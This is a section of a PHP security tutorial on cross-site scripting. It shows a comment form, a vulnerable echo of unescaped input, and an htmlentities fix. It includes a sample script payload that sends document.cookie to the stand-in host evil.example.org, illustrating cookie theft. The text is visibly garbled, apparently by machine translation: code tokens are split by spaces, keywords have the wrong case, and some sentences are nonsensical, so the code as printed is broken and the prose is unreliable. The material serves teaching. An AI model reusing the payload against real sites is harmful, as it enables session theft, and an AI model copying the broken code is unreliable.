2.4. XSS attacks
Cross-site Scripting is one of the well-known attack methods. Web applications on all platforms are deeply affected, and PHP applications are no exception.
All Input Applications face risks. Webmail, forums, message books, and even blogs. In fact, most web applications provide input for more popular purposes, but it also puts itself at risk. If the input is not properly filtered and escaped, the cross-site scripting vulnerability is generated.
Take an application that allows you to enter comments on each page as an example. It uses the following form to help users submit:
Code:
<Form action = "comment. php" method = "Post"/>
<P> name: <input type = "text" name = "name"/> <br/>
Comment: <textarea name = "comment" rows = "10" Cols = "60"> </textarea> <br/>
<Input type = "Submit" value = "Add Comment"/> </P>
</Form>
ProgramDisplays comments to other users accessing this page. For exampleCodeSegment may be used to output a comment ($ comment) and its corresponding publisher ($ name ):
Code:
<? PHP
Echo "<p> $ name writes: <br/> ";
Echo "<BLOCKQUOTE> $ comment </BLOCKQUOTE> </P> ";
?>
This process fully trusts $ comment and $ name values. Imagine that one of them contains the following code:
Code:
<SCRIPT>
Document. Location =
'Http: // evil.example.org/steal.php? Cookies = '+
Document. Cookie
</SCRIPT>
If your users view this comment, it is the same as allowing others to add JavaScript code to your website source program. Your users will unknowingly send their cookies (who browsed the website) to evil.example.org, while the receiving Program (steal. PHP) You can use the $ _ Get ['cookies '] variable to prevent all cookies from being asked.
This is a common error, mainly caused by bad programming habits. Fortunately, such errors are easily avoided. Because this risk only occurs when you output Contaminated Data, you only need to filter the input and escape output as described in Chapter 1.
At least you need to use htmlentities () to escape any data that you want to output to the client. This function can convert all special characters into HTML representation. After converting all characters that may cause special processing by the browser, you can ensure that the original entered content is displayed.
Therefore, the following code is used to show that the comment is safer:
Code:
<? PHP
$ Clean = array ();
$ Html = array ();
/* Filter input ($ name, $ comment )*/
$ HTML ['name'] = htmlentities ($ clean ['name'], ent_quotes, 'utf-8 ');
$ HTML ['comment'] = htmlentities ($ clean ['comment'], ent_quotes, 'utf-8 ');
Echo "<p >{$ HTML ['name']} writes: <br/> ";
Echo "<BLOCKQUOTE >{$ HTML ['comment']} </BLOCKQUOTE> </P> ";
?>